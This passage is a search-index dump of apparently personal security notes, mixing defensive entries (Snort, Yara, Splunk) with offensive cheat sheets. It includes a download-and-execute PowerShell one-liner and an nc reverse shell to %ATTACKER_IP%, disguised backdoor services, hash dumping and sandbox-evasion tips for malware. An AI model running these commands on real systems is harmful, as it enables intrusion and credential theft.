config file into `js_from_pdf.js`\n```sh\necho 'extract js > js_from_pdf.js' > extract_js.conf \npeepdf -s extract_js.conf <file.pdf>\n```\n\n### vmonkey\n* Detects malicious VBasic code in documents.\n```sh\nvmonkey <file.doc>\n```\n\n### Packaged Binaries\n* Can be identified via entropy or loaded libs\n * The count of libs loaded by a packaged bin is very low. A packaged PE could load `GetProcAddress` or `LoadLibrary`.\n * [PEiD](https://www.aldeid.com/wiki/PEiD) detects most packers.\n * File [Entropy](https://fsec404.github.io/blog/Shanon-entropy/) of a packaged is high.\n\n","description":"","tags":[],"title":"ReMnux","uri":"/stego/docs/remnux.html"},{"content":"Stegoveritas\n* Install via `pip install stegoveritas` and `stegoveritas_install_deps`\n","description":"","tags":[],"title":"Stegoveritas","uri":"/stego/docs/stegoveritas.html"},{"content":"Outguess`man outguess`\n","description":"","tags":[],"title":"Outguess","uri":"/stego/docs/outguess.html"},{"content":"StegbruteBruteforce stego jpegs with a password.\n\n* install via `cargo install stegbrute`\n\n## Usage\n```sh\nstegbrute -f <filename> -w <wordlist>\n```\n","description":"","tags":[],"title":"Stegbrute","uri":"/stego/docs/stegbrute.html"},{"content":"Steghide\n* JPGs only\n\n* Example\n```sh\nsteghide extract -sf jpeg1.jpeg\n```\n","description":"","tags":[],"title":"Steghide","uri":"/stego/docs/steghide.html"},{"content":"zsteg\n* PNGs, BMPs\n\n* Example\n```sh\nzsteg png1.png --strings all\n```\n","description":"","tags":[],"title":"zsteg","uri":"/stego/docs/zsteg.html"},{"content":"Hadoop\nDistributed storage and computing\n* [Hadoop Attack Libs](https://github.com/wavestone-cdt/hadoop-attack-library.git)\n\n## Terminology\n* __Cluster__, forms the datalake\n* __Node__, single host inside the cluster\n* __NameNode__, node that keeps the dir tree of the Hadoop file system\n* __DataNode__, slave node that stores files and is instructed by the NameNode\n* __Primary NameNode__, current active node responsible for keeping the directory structure\n* __Secondary NameNode__, hot standby for Primary NameNode. There may be multiple on standby inside the cluster\n* __Master Node__, Hadoop management app like HDFS or YARN Manager\n* __Slave Node__, Hadoop worker like HDFS or MapReduce. a node can be master and slave at the same time\n* __Edge Node__, hosting Hadoop user app like Zeppelin or Hue\n* __Kerberised__, security enabled cluster through Kerberos\n\n* __HDFS__, Hadoop Distributed File System, storage device for unstructured data\n* __Hive__, primary DB for structured data\n* __YARN__, scheduling jobs and resource management\n* __MapReduce__, distributed filtering, sorting and reducing \n* __HUE__, GUI for HDFS and Hive\n* __Zookeeper__, cluster management\n* __Kafka__, message broker\n* __Ranger__, privileged ACL\n* __Zeppelin__, data analytivs inside a webUI\n\n## Zeppelin\n\n* Try [default logins](https://zeppelin.apache.org/docs/0.8.2/setup/security/shiro_authentication.html#4-login)\n* Try execution inside notebooks\n\n## Ktabs\n\n* Finding `ktpass`es to authenticate at the kerberos TGS\n* Output principals and use them to init\n```sh\nklist -k <keytabfile>\nkinit <prinicpal name> -k -V -t <keytabfile>\n```\n\n## HDFS\n\n* User the `hdfs` utility to enumerate the distributed network storage\n```sh\nhdfs dfs -ls /\n```\n* Current user and user on the storage do not have to correspond\n* Touched files on the storage may be owned by root\n```sh\nhdfs dfs -touchz testfile /tmp/testfile\nhdfs dfs -ls /tmp\n```\n* Impersonate by sourcing keytab file of the user, __NodeManager__ is the highest user in regards to permission\n\n\n\n","description":"","tags":[],"title":"Hadoop","uri":"/misc/hadoop.html"},{"content":"Responder\n## Impersonate Domain -- Change Responder's certificates\n\n* After using nsupdate to add the attacker as a subdomain do the following tasks\n* Add a certificate and its private key to\n```sh\n/usr/share/responder/certs\n```\n* Edit `Responder.conf`\n```\n[HTTPS Server]\n\n; Configure SSL Certificates to use\nSSLCert = certs/cert.pem\nSSLKey = certs/key.pem\n```\n* Start responder\n```sh\nresponder -I <interface>\n```\n","description":"","tags":[],"title":"Responder","uri":"/misc/responder.html"},{"content":"ClamAV\n* Can be started with custom database or yara rules \n\n## Hashes Database\n* `*.hdb` is a database containing hashes. Can be customized and scanned against\n\n## Yara Rules\n\n* Custom `*.yara` rules can be set. An example\n```yara\nrule example {\n\tmeta:\n\t\tauthor = \"Gabe Newell\"\n\t\tdescription = \"Look at how the Yara rule works with ClamAV\"\n\tstrings:\n\t\t$string = \"a-string-found-inside-the-malicious-binary\"\n $file_signature = \"magic-number-in-ascii\"\n\tcondition:\n\t\t#file_signature at 0 and $string\n}\n```\n\n","description":"","tags":[],"title":"ClamAV","uri":"/misc/clamav.html"},{"content":"Sandbox Evasion\n* Evade the usual checks that will be run on you malware\n\n## Sleeping\n\n* [checkpoint](https://evasions.checkpoint.com/techniques/timing.html)\n* [joesecurity](https://www.joesecurity.org/blog/660946897093663167)\n\n## Geolocation\n\n* Check the IP of the machine\n* Check the block of the ISP via\n```sh\nhttps://rdap.arin.net/registry/ip/<IPBlock>\n```\n\n## System Info\n\n* Check system info like\n```sh\nhostname\nuser\nserial number\nsoftware versions\nhardware specs\nproduct keys\n```\n\n## Network Info\n\n* Check all available network info like\n```sh\ninterfaces\ntraffic\ngroups\ndomain admins\nenterprise admins\ndns\n```\n\n\n","description":"","tags":[],"title":"Sandbox Evasion","uri":"/misc/sandbox_evasion.html"},{"content":"Shell Scripting\n[Bash Cheatsheet](https://devhints.io/bash)\n","description":"","tags":[],"title":"Shell Scripting","uri":"/misc/bash.html"},{"content":"Snort\nComprised of __packet decoder__, __pre processor__, __detection engine__, __logging and alerting__, __output and plugins__\n\n## Data Aquisition Modules\n\n* __Pcap__, default\n* __Afpacket__, inline mode, IPS\n* __Ipq__, uses netfilter on linux\n* __Nfq__, inline mode on linux\n* __Ipfw__, inline mode on BSD \n* __Dump__, test mode\n\n## Usage\n\n* Check config, and run tests via\n```sh\nsnort -c <config> -T\n```\n\n\n### Sniffing\n| Parameter | Description |\n+-----------+-------------+\n| -v | Verbose. Display the TCP/IP output in the console.|\n| -d | Display the packet data (payload).|\n| -e | Display the link-layer (TCP/IP/UDP/ICMP) headers. |\n| -X | Display the full packet details in HEX.|\n| -i | Liste on interface |\n\n### Packet Logger\n\n* Logged by IP as directory, ports as files inside these dirs\n* BPF filter can be used like `tcp port 80`\n* Log files can be opened by wireshark or `tcpdump -r <logfile>`\n\n| Parameter | Description | \n|-----------|-------------|\n| -l | Logger mode, target log and alert output directory. Default output folder is tcpdump to /var/log/snort.|\n| -K ASCII | Log packets in ASCII format | \n| -r | Filter dumped logs in Snort |\n| -n | Specify the number of packets that will be read |\n\n### IDS and IPS\n\n* Output is an alert file along an optional log file \n\n| Parameter\t| Description |\n|-----------|-------------|\n| -c | Defining the configuration file |\n| -T | Testing the configuration file |\n| -N | Disable logging |\n| -D | Background mode |\n| -A | Alert modes; __full__: all possible info about alerts, default mode; __fast__ : alert message, timestamp, source and destination IP, port numbers. __console__: Provides fast style alerts on the console screen. __cmg__: CMG style, basic header details with payload in hex and text format. __none__: Disabling alerting |\n\n* Rules found in `/etc/snort/rules/local.rules`\n```sh\nalert icmp any any <> any any (msg: \"ICMP Packet Found\"; sid: 100001; rev:1;)\n```\n\n### PCAPs\n\n* `snort -c <configfile> -r file.pcap -A console -n <number of packets>`\n* `snort -c <configfile> --pcap-list=\"file1.pcap file2.pcap\" -A console -l .`\n\n\n## Rules\n\n```sh\nsnort -c /etc/snort/rules/local.rules -A console\nsnort -c /etc/snort/rules/local.rules -A full\n```\n* Every rule has an IP source and destination, as well as a port for every endpoint\n* General, payload and non payload rules\n\n* Direction of the packet\n * `->` to destination \n * `<>` bidirectional\n\n* IDS -> `alert`\n* IPS -> `reject`\n\n`<action> <protocol> <ip.src> <src.port> <> <ip.dst> <dst.port>(msg: \"<msg>; <reference>; <ruleID>;<revision info>`\n\n* Actions\n * `alert`\n * `log`\n * `drop`\n * `reject`\n\n* SID rule IDs\n * < 100 reserved rules\n * 100 - 999,999 rules of the build\n * >= 1,000,000 user rules\n\n* Reference may be a CVE\n* Revisions are versionings of the rule\n\n* Filter address range via CIDR\n```sh\nalert icmp 192.168.1.0/24 any <> any any (msg: \"ICMP Packet Found\"; sid: 100001; rev:1;)\n```\n* Filter multiple address ranges\n```sh\nalert icmp [192.168.1.0/24, 10.1.1.0/24] any <> any any (msg: \"ICMP Packet Found\"; sid: 100001; rev:1;)\n```\n* Exlude via `!10.10.0.1`\n* Filter via any and ports between 4712 and 8080\n```sh\nalert icmp any 4711,8080: <> any any (msg: \"TCP Packet Found\"; sid: 100001; rev:1;)\n```\n\n### Detection Rules \n\n* `/etc/snort/rules/local.rules`\n* ASCII or gex mode \n```sh\nASCII mode - alert tcp any any -> any 8080 (msg: \"GET Request Found\"; content:\"GET\";content: \"/foo\"; sid: 100001; rev:1;)\nalert tcp any any -> any 8080 (msg: \"GET Request Found\"; content:\"|47 45 54|\"; sid: 100001; rev:1;)\n```\n* Case insensitiv\n```sh\nalert tcp any any -> any 8080 (msg: \"GET Request Found\"; content:\"GET\"; nocase; sid: 100001; rev:1;)\n```\n* Fast pattern\n```sh\nalert tcp any any <> any 80 (msg: \"GET Request Found\"; content:\"GET\"; fast_pattern; content:\"www\"; sid:100001; rev:1;)\n``` \n\n* Non payload detection rules\n * TCP flags, `flags: F,S,A,R,P,U`\n * Payload size, `dsize:min<>max`\n * SameIP, `alert ip any any <> any any (msg: \"SAME-IP TEST\"; sameip; sid: 100001; rev:1;)`\n * Packet IDs, `id: 4711`\n","description":"","tags":[],"title":"Snort","uri":"/misc/snort.html"},{"content":"SMTP\n* [hacktrick's site](https://book.hacktricks.xyz/pentesting/pentesting-smtp)\n","description":"","tags":[],"title":"SMTP","uri":"/misc/smtp.html"},{"content":"Metasploit\n## Modules\n* __Auxiliary__ scanners, crawlers and fuzzers\n* __Encoders__ encode payloads\n* __Evasion__ prepare payloads to circumvent signature based malware detection \n* __NOPs__ various architectures\n* __Payloads__ to run on target systems\n * Singles, inline payloads, for example generic/shell_reverse_tcp\n * Stagers, downloads the stages payloads\n * Stages, for example windows/x64/shell/reverse_tcp\n* __Post__ postexploitation\n\n## Notes \n* Search via scope \n```sh\nsearch type:auxiliary <stuff>\n```\n* Send exploit to background\n```\nrun -z\n```\n* `check` if target is vulnerable\n* `setg` sets variables globally\n* `unset payload`\n* Flush via `unset all`\n\n## Sessions\n* `background` or `ctrl+z`\n* Foreground via `sessions -i <number>`\n\n## Scanning\n* Portscan\n```sh\nsearch portscan\n```\n* UDP Sweep via `scanner/discovery/udp_sweep`\n* SMB Scan via `scanner/smb/smb_version` and `smb_enumshares`\n* SMB login dictionary attack `scanner/smb/smb_login`\n* NetBios via `scanner/netbios/nbname`\n* HTTP version `scanner/http/http_version`\n\n## Database\n* Start postgres\n* `msfdb init`\n* `db_status`\n* Separate `workspace -a <projectname>`\n* Safe scans via `db_nmap`\n* Show `hosts`\n* Show `services`\n* Set RHOST values via `hosts -R`\n\n## Exploits\n* `show targets`\n* `show payloads`\n\n## Reverse Shells\n* Multihandler, set options\n```sh\nuse exploit/multi/handler\nset payload <payloadhandler>\n```\n* Shellshock as an example\n```sh\nuse multi/http/apache_mod_cgi_bash_env_exec\n```\n\n## Post Exploitation\n* `load kiwi`\n* `load python`\n* Windows\n * list SAM database\n ```sh\n migrate <lsass.exe-PID>\n hashdump\n ```\n * enum shares\n ```sh\n post/windows/gather/enum_shares\n ```\n* Linux\n * `use post/linux/gather/hashdump`\n\n## Other Meterpreter stuff\n* Staged and in disguise running as another servicename\n```\ngetpid\nps\n``` \n* Attempt to elevate privileges\n```sh\ngetsystem\n```\n* Use `multi/handler` or exploit and get an overview via `show payloads`\n* UserID via `getuid`\n","description":"","tags":[],"title":"Metasploit","uri":"/misc/metasploit.html"},{"content":"GitTools\n* extract commits from repo \n```sh\n./extractor.sh <repo_with_.git> <targetdir>\n```\n* List `commit-meta.txt` files from all commits\n```sh\nseparator=\"=======================================\"; for i in $(ls); do printf \"\\n\\n$separator\\n\\033[4;1m$i\\033[0m\\n$(cat $i/commit-meta.txt)\\n\"; done; printf \"\\n\\n$separator\\n\\n\\n\"\n```\n* Compare hashes of the commits. The one without a parent is the oldest one.\n","description":"","tags":[],"title":"GitTools","uri":"/misc/gitTools.html"},{"content":"aircrack-ng\n## airmon-ng\n\n* Monitor on interface\n```sh\nairmon-ng start <interface>\n```\n\n## airodump-ng\n* Capture traffic\n\n\n## aircrack-ng\n* Use captured network traffic to crack\n* Specify targets via common options \n* Create hashcap files as `HCCAPX` or `HCCAP`\n```sh\naircrack-ng -w <wordlist> -b <bssidFromCapture> -j <outputHashcatFile> <INPUTFILE>\n```\n","description":"","tags":[],"title":"aircrack-ng","uri":"/misc/wifi/airmon-ng.html"},{"content":"Sipvicious\n* [Enable Security](https://github.com/EnableSecurity/sipvicious.git)\n\n# Enumeration\n* Check which PBX is used via `svmap $TARGET_IP`\n* Use `msf6 auxiliary(voip/asterisk_login)`\n","description":"","tags":[],"title":"Sipvicious","uri":"/misc/telecommunications/sip_vicious.html"},{"content":"Welcome to SIPVicious OSS security tools\n\n\nSIPVicious OSS is a set of security tools that can be used to audit SIP based VoIP systems. Specifically, it allows you to find SIP servers, enumerate SIP extensions and finally, crack their password.\n\nTo get started read the following:\n\n- [Getting started on the Wiki](https://github.com/enablesecurity/sipvicious/wiki/Getting-Started)\n- Communication Breakdown blog: [Attacking a real VoIP System with SIPVicious OSS](https://www.rtcsec.com/2020/06/02-attacking-voip-system-with-sipvicious/).\n\nFor usage help make use of `-h` or `--help` switch.\n\n## A note to vendors and service providers\n\nIf you are looking for a professional grade toolset to test your RTC systems, please consider [SIPVicious PRO](https://www.sipvicious.pro).\n\n\n## The tools\n\nThe SIPVicious OSS toolset consists of the following tools:\n\n- svmap\n- svwar\n- svcrack\n- svreport\n- svcrash\n\n### svmap\n\n\tthis is a sip scanner. When launched against\n\tranges of ip address space, it will identify any SIP servers \n\twhich it finds on the way. Also has the option to scan hosts \n\ton ranges of ports.\n\n\tUsage: <https://github.com/EnableSecurity/sipvicious/wiki/SVMap-Usage>\n\n### svwar\n\n\tidentifies working extension lines on a PBX. A working \n\textension is one that can be registered. \n\tAlso tells you if the extension line requires authentication or not. \n\n\tUsage: <https://github.com/EnableSecurity/sipvicious/wiki/SVWar-Usage>\n\n### svcrack\n\t\n\ta password cracker making use of digest authentication. \n\tIt is able to crack passwords on both registrar servers and proxy \n\tservers. Current cracking modes are either numeric ranges or\n\twords from dictionary files.\n\n\tUsage: <https://github.com/EnableSecurity/sipvicious/wiki/SVCrack-Usage>\n\n### svreport\n\n\table to manage sessions created by the rest of the tools\n\tand export to pdf, xml, csv and plain text.\n\n\tUsage: <https://github.com/EnableSecurity/sipvicious/wiki/SVReport-Usage>\n\n### svcrash\n\t\n\tresponds to svwar and svcrack SIP messages with a message that\n\tcauses old versions to crash. \n\n\tUsage: <https://github.com/EnableSecurity/sipvicious/wiki/SVCrash-FAQ>\n\n\n## Installation\n\nPlease refer to the [installation documentation](https://github.com/EnableSecurity/sipvicious/wiki/Basics#installation).\n\n## Further information\n\nCheck out the [wiki](https://github.com/enablesecurity/sipvicious/wiki) for documentation.\n\n","description":"","tags":[],"title":"Welcome to SIPVicious OSS security tools","uri":"/misc/telecommunications/_sipvicious/README.html"},{"content":"Printer Hacking\n* [Preta](https://github.com/RUB-NDS/PRET)\n* [Cheat Sheet](http://hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet)\n","description":"","tags":[],"title":"Printer Hacking","uri":"/misc/printer_hacking/preta.html"},{"content":"Pithus Mobile Threat Intelligence\n* https://beta.pithus.org\n","description":"","tags":[],"title":"Pithus Mobile Threat Intelligence","uri":"/misc/threat_intelligence/pithus.html"},{"content":"Security Information and Event Management (SIEM)\n* [Varonis](https://www.varonis.com/blog/what-is-siem/)\n\n * Threat detection\n * Investigation\n * Time to respond\n * Some other SIEM features:\n * Basic security monitoring\n * Advanced threat detection\n * Forensics & incident response\n * Log collection\n * Normalization\n * Notifications and alerts\n * Security incident detection\n * Threat response workflow\n\n\n","description":"","tags":[],"title":"Security Information and Event Management (SIEM)","uri":"/misc/threat_intelligence/siem.html"},{"content":"Loki","description":"","tags":[],"title":"Loki","uri":"/misc/threat_intelligence/loki.html"},{"content":"Yara\n## Structure\nA rule consists of \n * Name\n * Metadata\n * String definitions\n * Conditions on these strings\n\n## Example\n\n```sh\nrule eicar {\n meta:\n author=\"foo\"\n description=\"eicar test virus\"\n strings:\n $a=\"X5O\"\n $b=\"EICAR\"\n $c=\"ANTIVIRUS\"\n $d=\"TEST\"\n condition:\n $a and $b and $c and $d\n }\n```\n\n## Usage\n\n* Information about a rule, metadata or strings\n```sh\nyara -m <file.yara> <file.target>\nyara -s <file.yara> <file.target>\n```\n\n* Run Yara via\n```sh\nyara <file.yara> <file.target>\n```\n* If the name of the rule and the target is returned, the rule matched. Otherwise it did not match.\n\n","description":"","tags":[],"title":"Yara","uri":"/misc/threat_intelligence/yara.html"},{"content":"Osquery\n* [Documentation](https://osquery.readthedocs.io/en/stable/)\n* [Schema Docs](https://osquery.io/schema/4.7.0/)\n\n## Usage\n* `.help` is the overiew\n\n### List available tables\n```sh\n.tables\n```\n* Specify via `.tables <tablename>`\n\n### Show schema\n```sh\n.schema <table_name>\n```\n* Show schema for foreign operating systems via `--enable_foreign`\n\n### Queries\n\n* Select\n```sql\nselect * from <table>;\nselect * <attr>,<attr> from <table>;\n```\n\n* UPDATE and DELETE is possible on run-time tables\n\n* JOIN\n```sql\nSELECT pid, name, path FROM osquery_info JOIN processes USING (pid);\n```\n\n* Where clause operators\n * `=` [equal]\n * `<>` [not equal]\n * `>, >=` [greater than, greater than or equal to]\n * `<, <=` [less than or less than or equal to] \n * `BETWEEN` [between a range]\n * `LIKE` [pattern wildcard searches]\n * `%` [wildcard, multiple characters]\n * `_` [wildcard, one character]\n\n* Matching wildcard rules\n * `%`: Match all files and folders for one level.\n * `%%`: Match all files and folders recursively.\n * `%abc`: Match all within-level ending in \"abc\".\n * `abc%`: Match all within-level starting with \"abc\". \n\n## Remote Queries via Frontend\n* [Repo](https://github.com/fleetdm/fleet.git)\n\n## Extensions\n* [osquery-extensions](https://github.com/trailofbits/osquery-extensions)\n* [osq-ext-bin](https://github.com/polylogyx/osq-ext-bin)\n\n### Yara\n```sql\nselect * from yara where sigfile='<sigfile>' and path like '/home/%%';\n```\n* [Docs](https://osquery.readthedocs.io/en/stable/deployment/yara/)\n\n\n","description":"","tags":[],"title":"Osquery","uri":"/misc/threat_intelligence/osquery.html"},{"content":"Splunk\n\n## Splunk Bar\n * Messages\n * Settings\n * Activity\n * Help\n * Find \n\n## Search & Reporting\n* Tip: If you want to land into the Search app upon login automatically, you can do so by editing the user-prefs.conf file. \n```sh\nC:\\Program Files\\Splunk\\etc\\apps\\user-prefs\\default\\user-prefs.conf\n/opt/splunk/etc/apps/user-pref/default/user-prefs.conf\n```\n* [Docs](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Aboutthesearchapp)\n* [Start searching](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Startsearching)\n* [Time range picker](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Aboutthetimerangepicker)\n* [Field to search](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Usefieldstosearch)\n* [Use field lookups](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Usefieldlookups)\n* [Search field lookups](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Searchwithfieldlookups)\n* [Splunk Regex](https://docs.splunk.com/Documentation/Splunk/8.1.2/Knowledge/AboutSplunkregularexpressions)\n\n* Tabs\n * Event\n * Patterns\n * Statistics\n * Visualization\n \n## Adding Data\n* [Adding Data Docs](https://docs.splunk.com/Documentation/Splunk/8.1.2/Data/Getstartedwithgettingdatain#Use_apps_to_get_data_in)\n\n* `Settings > Data > Data Inputs` contains further sources\n* Add data after that via `Add Data`\n\n## Queries\n* [Metadata](http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Metadata)\n* [Metalore](https://www.splunk.com/blog/2017/07/31/metadata-metalore.html)\n```sh\n| metadata type=sourcetypes index=botsv2 | eval firstTime=strftime(firstTime,\"%Y-%m-%d %H:%M:%S\") | eval lastTime=strftime(lastTime,\"%Y-%m-%d %H:%M:%S\") | eval recentTime=strftime(recentTime,\"%Y-%m-%d %H:%M:%S\") | sort - totalCount\n```\n\n* Examples\n * Filtering HTTP sites visited for found IP\n ```sh\n index=\"botsv2\" 10.0.2.101 sourcetype=\"stream:HTTP\" | dedup site | table site\n ```\n\n## Sigma \n* [Sigma Repo](https://github.com/Neo23x0/sigma)\n* [TA-Sigma-Searches](https://github.com/dstaulcu/TA-Sigma-Searches)\n* [Conversion](https://uncoder.io/)\n * E.g. : `sigma: APT29` as input\n\n## Dashboard\n```sh \nsource=\"<source>\" | top limit=5 EventID\n```\n* Visualization > choose Chart > \"Save As\" (top right) > DashboardName \n\n## Alerting\n* [Workflow](https://docs.splunk.com/Documentation/SplunkCloud/8.1.2012/Alert/AlertWorkflowOverview)\n","description":"","tags":[],"title":"Splunk","uri":"/misc/threat_intelligence/splunk.html"},{"content":"Threat IntelligenceData must be analyzed to be considered threat intelligence. Once analyzed and actionable, then it becomes threat intelligence. The data needs context around to become intel.\n\n\n__Cyber Thread Intelligence (CTI)__ is a precautionary measure that companies use or contribute to so that other corporations do not get hit with the same attacks. Of course, adversaries change their TTPs all the time so the TI landscape is constantly changing.\n\nVendors and corporations will sometimes share their collected CTI in what are called __ISACs__ or __Information Sharing and Analysis Centers__. __ISACs__ collect various indicators of an adversary that other corporations can use as a precaution against adversaries.\n\n\nThreat Intelligence is also broken up into three different types.\n\n* Strategic\n * Assist senior management make informed decisions specifically about the security budget and strategies.\n\n* Tactical\n * Interacts with the TTPs and attack models to identify adversary attack patterns.\n\n* Operational\n * Interact with IOCs and how the adversaries operationalize.\n\n\n\n## Advance Persistent Threats (APTs)\n* https://www.fireeye.com/current-threats/apt-groups.html\n\n## TTP\nTTP is an acronym for Tactics, Techniques, and Procedures, but what does each of these terms mean?\n\n* The __Tactic__ is the adversary's goal or objective.\n* The __Technique__ is how the adversary achieves the goal or objective.\n* The __Procedure__ is how the technique is executed.\n\nTI is an acronym for Threat Intelligence. Threat Intelligence is an overarching term for all collected information on adversaries and TTPs. You will also commonly hear CTI or Cyber Threat Intelligence which is just another way of saying Threat Intelligence.\n\n## Indicator of Compromise\n* __IOCs__ is an acronym for __Indicators of Compromise__, the indicators for malware and adversary groups. Indicators can include file hashes, IPs, names, etc.\n\n## Information Sharing and Analysis Centers (ISACs)\nAccording to the National Council of __ISACs__, \"Information Sharing and Analysis Centers (ISACs) are member-driven organizations, delivering all-hazards threat and mitigation information to asset owners and operators\". ISACs can be community-centered or vendor-specific. ISACs include CTI from threat actors as well as mitigation information in the form of IOCs, YARA rules, etc. ISACs maintain situational awareness by sharing and collaborating to maintain CTI, through a National Council of ISACs.\n\n* ISACs\n * [US-CERT](https://us-cert.cisa.gov/)\n * [AlienVault OTX](https://otx.alienvault.com/)\n * [ThreatConnect](https://threatconnect.com/)\n * [MISP](https://www.misp-project.org/)\n\n\n","description":"","tags":[],"title":"Threat Intelligence","uri":"/misc/threat_intelligence/isac.html"},{"content":"Active Directory Enumeration\n* Consists of\n * Domain Controller \n * Organizational Units\n * Users\n * Groups\n * Trusts\n * AD Domains\n * AD Forest\n * Policies\n\n* Administrative accounts are\n * Domain Admin\n * Enterprise Admin\n * Schema Admin\n * Server Operator\n * Account Operator\n\n## Domain Controller\n\n* AD Domain Services data store\n* Authentication and authorization\n* Update replication / sync with other domain controllers in the forest\n* Administration of domain resources\n\n### AD DS Store\n\n* Database of directory info such as users, groups and services\n * `ntdis.dit` contains the information, including password hashes\n * `SystemRoot%\\NTDS`\n\n### Forest\n\n* __Trees__, hierarchy of domains in the AD Domain Services\n* __Domains__, groups of objects\n* __Organizational Units (OU)__, containers of objects such as groups, users, printers and other resources\n* __Trusts__, allows users to access resources in a different domain\n* __Objects__ users, groups, printers, computers or shares\n* __Domain Services__, DNS, LLMNR, SMB\n* __Domain Schema__, Rules for object creation\n\n### Users\n\n* __Domain Admin__, DC access\n* __Server Accounts__, service maintenance, may have admin permissions\n* __Local Admin__, administrative persmission on an object but not the DC\n* __Domain Users__, average user account on a local machine which may have admin permissions\n\n\n### Policies\n\n* Rule sets\n* Apply to a domain\n* Enable or disables services on a domain basis, like antivirus and malware scanning\n * __Disable Windows Defender__\n * Communication signing, e.g. SMB\n\n### Domain Services \n\n* __LDAP__\n* __Certificates__ handling for services, CRL\n* __DNS, LLMNR, NBT-NS__\n\n### Authentication\n\n* __NTLM__, ticket granting service \n* __Kerberos__, challenge/response via hashes\n\n## Usage\n\n* Cmdlets on Domain Controller\n* Get some help, `Get-Help Get-Command -Examples`, `Get-Command Get-*`\n\n* From `ActiveDirectory` module\n```sh\nImport-Module Active-Directory\nGet-ADDomain | Select-Object NetBIOSName,DNSRoot,InfrastructureMaster\nGet-ADForest | Select-Object Domains\nGet-ADTrust -Filter * | Select-Object Direction,Source,Target\n```\n\n* `systeminfo | findstr Domain`\n* `Get-ADUser -filter *`\n* Use found CN and DC and specify\n* `Get-ADUser -filter * -searchBase \"CN=Users,DC=<foundDC>,DC=<domainEnding>\"`\n\n### Powerview Module\n\n* [Powerview](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)\n```sh\nImport-Module .\\PowerView.ps1\nGet-NetDomain\nGet-NetDomainController\nGet-NetForest\nGet-NetDomainTrust\n```\n\n### DNS\n* Check ip via `ipconfig`\n* `nslookup`, then `server <LocalIP>` and zone transfer via \n```sh\nls -d <Domain>\n```\n\n### Tips & Tricks\n\n* Download and execute in one line\n```sh\npowershell -exec bypass -c \"IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%:8000/PowerVi\new.ps1'); Get-NetUser | select samaccountname, description\"\n```\n","description":"","tags":[],"title":"Active Directory Enumeration","uri":"/misc/active_directory/active_directory.html"},{"content":"Lateral Movement\n* Finding credentials with more permissions move through the network cloaked, avoiding detection\n* Context of connections from A to B with permission C might be suspicious, therefore some bypass has to be found\n* Local and network/domain accounts have to be distinguished. UAC is enforced on local admin accounts and not on domain accounts\n\n* __Service executables need their own special reverse shell__, `msfvenom` file format `exe-service`\n\n## Remote Processes\n\n### psexec\n\n* Port `445`\n* `SMB` protocol\n* Group membership: `Administrators`\n\n* Upload the service binary to `ADMIN$` directory of the SMB server\n* Use `psexesvc.exe` via service control manager to execute the remote process\n* Communication will be established through a named pipe\n\n```sh\npsexec64.exe \\\\%TARGET_IP% -u Administrator -p %PASSWORD% -i cmd.exe\n```\n\n### WinRM\n\n* Ports `5985` (HTTP) and `5986` (HTTPS)\n* Group Membership: `Remote Management Users`\n\n* Execute powershell commands on remote targets\n\n```sh\nwinrs.exe -u:Administrator -p:%PASSWORD% -r:target cmd\n```\n\n* Run through powershell alternatively via\n```sh\n$username = \"Administrator\";\n$password = \"SecurePassword\";\n$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;\n$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;\n\nEnter-PSSession -Computername TARGET -Credential $credential\nInvoke-Command -Computername TARGET -Credential -ScriptBlock {whoami}\n```\n\n### sc\n\n* Ports `135`, `49152-65535` (DCE/RPC), `135` shows service endpoints on the high ports\n* Ports `139` and `445`RPC over SMB named pipes, if SVCCTL fails over `135`\n* Group Membership: `Administrators`\n\n* Create service remotely via Service Control Manager (RPC) or `SVCCTL`\n\n```sh\nsc.exe \\\\%TARGET_IP% create MyService binPath= \"net user newuser securepassword /add\" start= auto\nsc.exe \\\\%TARGET_IP% start MyService\n\nsc.exe \\\\%TARGET_IP% stop MyService\nsc.exe \\\\%TARGET_IP% delete MyService\n```\n\n### schtasks\n\n* Create remote scheduled tasks\n```sh\nschtasks /s TARGET /RU \"SYSTEM\" /create /tn \"SteamUpdateService\" /tr \"<command/payload to execute>\" /sc ONCE /sd 01/01/1970 /st 00:00\nschtasks /s TARGET /run /TN \"SteamUpdateService\" \n```\n* Delete scheduled tasks via\n```sh\nschtasks /S TARGET /TN \"SteamUpdateService\" /DELETE /F\n```\n\n### wmi\n\n* Ports are\n * DCOM `135` RPC and dynamic ports\n * Wsman `5985` winrm HTTP and `5986` winrm HTTPS\n* Group membership: `Administrators`\n\n* To start, use the same object used for winrm\n```sh\n$username = \"Administrator\";\n$password = \"SecurePassword\";\n$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;\n$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;\n```\n\n* Store the session\n```sh\n$Opt = New-CimSessionOption -Protocol DCOM\n$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop\n```\n\n* __Spawn a remote process__\n```sh\n$Command = \"powershell.exe -Command Set-Content -Path C:\\payload.txt -Value itworked\";\n\nInvoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{\nCommandLine = $Command\n}\n```\n\n* Alternatively via\n```sh\nwmic.exe /user:Administrator /password:securepassword /node:TARGET process call create \"cmd.exe /c nc64.exe -e cmd.exe %ATTACKER_IP% %ATTACKER_PORT%\" \n```\n\n* __Spawn a remote service__\n```sh\nInvoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{\nName = \"SteamUpdateService\";\nDisplayName = \"SteamUpdateService\";\nPathName = \"net user gabenewell securepassword /add\"; \nServiceType = [byte]::Parse(\"16\"); # Win32OwnProcess : Start service in a new process\nStartMode = \"Manual\"\n}\n```\n* Initiate the service\n```sh\n$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter \"Name LIKE 'SteamUpdateService'\"\n\nInvoke-CimMethod -InputObject $Service 